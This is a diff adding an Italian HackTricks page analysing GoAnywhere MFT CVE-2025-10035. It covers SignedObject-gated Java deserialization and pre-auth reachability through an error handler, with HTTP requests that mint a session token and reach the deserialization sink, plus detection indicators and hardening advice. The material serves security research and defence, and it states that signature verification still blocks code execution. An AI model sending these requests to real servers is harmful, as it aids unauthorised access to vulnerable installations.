- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina documenta un comune pattern di deserializzazione "protetto" in Java basato su java.security.SignedObject e come sink apparentemente non raggiungibili possano diventare raggiungibili pre-auth tramite flussi di gestione degli errori. La tecnica è stata osservata in Fortra GoAnywhere MFT (CVE-2025-10035) ma è applicabile a design simili.
|
||||
|
||||
## Modello di minaccia
|
||||
|
||||
- Un attaccante può raggiungere un endpoint HTTP che alla fine elabora un byte[] fornito dall'attaccante e destinato a essere un SignedObject serializzato.
|
||||
- Il codice usa un wrapper di validazione (es., Apache Commons IO ValidatingObjectInputStream o un adattatore personalizzato) per vincolare il tipo esterno a SignedObject (o byte[]).
|
||||
- L'oggetto interno restituito da SignedObject.getObject() è il punto in cui le gadget chain possono attivarsi (es., CommonsBeanutils1), ma solo dopo un controllo di verifica della firma.
|
||||
|
||||
## Pattern vulnerabile tipico
|
||||
|
||||
Un esempio semplificato basato su com.linoma.license.gen2.BundleWorker.verify:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
Osservazioni chiave:
|
||||
- Il deserializer di validazione in (1) blocca arbitrary top-level gadget classes; solo SignedObject (o raw byte[]) è accettato.
|
||||
- La primitiva RCE risiederebbe nell'oggetto interno materializzato da SignedObject.getObject() in (3).
|
||||
- Un controllo di firma in (2) impone che il SignedObject debba verificare contro una chiave pubblica incorporata nel prodotto. A meno che l'attaccante non possa produrre una firma valida, il gadget interno non viene mai deserializzato.
|
||||
|
||||
## Considerazioni sull'exploit
|
||||
|
||||
Per ottenere l'esecuzione di codice, un attaccante deve consegnare un SignedObject correttamente firmato che avvolge una catena di gadget malevoli come oggetto interno. Questo generalmente richiede una delle seguenti condizioni:
|
||||
|
||||
- Compromissione della chiave privata: ottenere la chiave privata corrispondente usata dal prodotto per firmare/verificare gli oggetti di licenza.
|
||||
- Signing oracle: costringere il vendor o un servizio di firma di fiducia a firmare contenuti serializzati controllati dall'attaccante (es., se un license server firma un oggetto arbitrario incorporato dall'input client).
|
||||
- Percorso alternativo raggiungibile: trovare un percorso server-side che deserializzi l'oggetto interno senza applicare verify(), o che salti i controlli della firma in una modalità specifica.
|
||||
|
||||
In assenza di una di queste condizioni, la verifica della firma impedirà lo sfruttamento nonostante la presenza di un deserialization sink.
|
||||
|
||||
## Raggiungibilità pre-auth tramite flussi di gestione degli errori
|
||||
|
||||
Anche quando un endpoint di deserializzazione sembra richiedere autenticazione o un token legato alla sessione, il codice di gestione degli errori può involontariamente creare e allegare il token a una sessione non autenticata.
|
||||
|
||||
Esempio di catena di raggiungibilità (GoAnywhere MFT):
|
||||
- Servlet target: /goanywhere/lic/accept/<GUID> richiede un token di richiesta licenza legato alla sessione.
|
||||
- Percorso di errore: colpire /goanywhere/license/Unlicensed.xhtml con trailing junk e stato JSF invalido scatena AdminErrorHandlerServlet, che esegue:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- Effettua redirect al vendor license server con una richiesta di licenza firmata in bundle=<...>
|
||||
- Il bundle può essere decrittato offline (chiavi hard-coded) per recuperare il GUID. Conservare lo stesso cookie di sessione e fare POST a /goanywhere/lic/accept/<GUID> con bundle bytes controllati dall'attaccante, raggiungendo il SignedObject sink pre-auth.
|
||||
|
||||
Proof-of-reachability (impact-less) probe:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- Non patchato: 302 Location header verso https://my.goanywhere.com/lic/request?bundle=... e Set-Cookie: ASESSIONID=...
|
||||
- Corretto: reindirizzamento senza bundle (nessuna generazione di token).
|
||||
|
||||
## Rilevamento Blue-team
|
||||
|
||||
Indicatori negli stack traces/logs suggeriscono fortemente tentativi di colpire uno SignedObject-gated sink:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## Linee guida per l'hardening
|
||||
|
||||
- Mantenere la verifica della firma prima di qualsiasi chiamata a getObject() e assicurarsi che la verifica utilizzi la chiave pubblica/algoritmo previsto.
|
||||
- Sostituire le chiamate dirette a SignedObject.getObject() con un wrapper rinforzato che riapplica il filtraggio allo stream interno (es., deserializeUntrustedSignedObject usando ValidatingObjectInputStream/ObjectInputFilter allow-lists).
|
||||
- Rimuovere i flussi dei gestori di errore che emettono token legati alla sessione per utenti non autenticati. Considerare i percorsi di errore come superficie d'attacco.
|
||||
- Preferire i Java serialization filters (JEP 290) con allow-lists rigorose sia per la deserializzazione esterna che per quella interna. Esempio:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## Riepilogo della catena d'attacco di esempio (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting tramite l'error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
Ricevi un 302 con bundle=... e ASESSIONID=...; decripta il bundle offline per recuperare il GUID.
|
||||
|
||||
2) Raggiungi il sink pre-auth con lo stesso cookie:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE richiede un SignedObject correttamente firmato che incapsuli una gadget chain. I ricercatori non sono riusciti a bypassare la verifica della firma; lo sfruttamento dipende dall'accesso a una chiave privata corrispondente o a un signing oracle.
|
||||
|
||||
## Versioni corrette e cambiamenti comportamentali
|
||||
|
||||
- GoAnywhere MFT 7.8.4 e Sustain Release 7.6.3:
|
||||
- Rinforzare la deserializzazione interna sostituendo SignedObject.getObject() con un wrapper (deserializeUntrustedSignedObject).
|
||||
- Rimuovere la generazione del token dell'error-handler, chiudendo la raggiungibilità pre-auth.
|
||||
|
||||
## Note su JSF/ViewState
|
||||
|
||||
Il trucco della raggiungibilità sfrutta una pagina JSF (.xhtml) e un javax.faces.ViewState non valido per indirizzare verso un error handler privilegiato. Pur non essendo un problema di deserializzazione JSF, è un pattern ricorrente pre-auth: entrare negli error handler che eseguono azioni privilegiate e impostano attributi di sessione rilevanti per la sicurezza.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user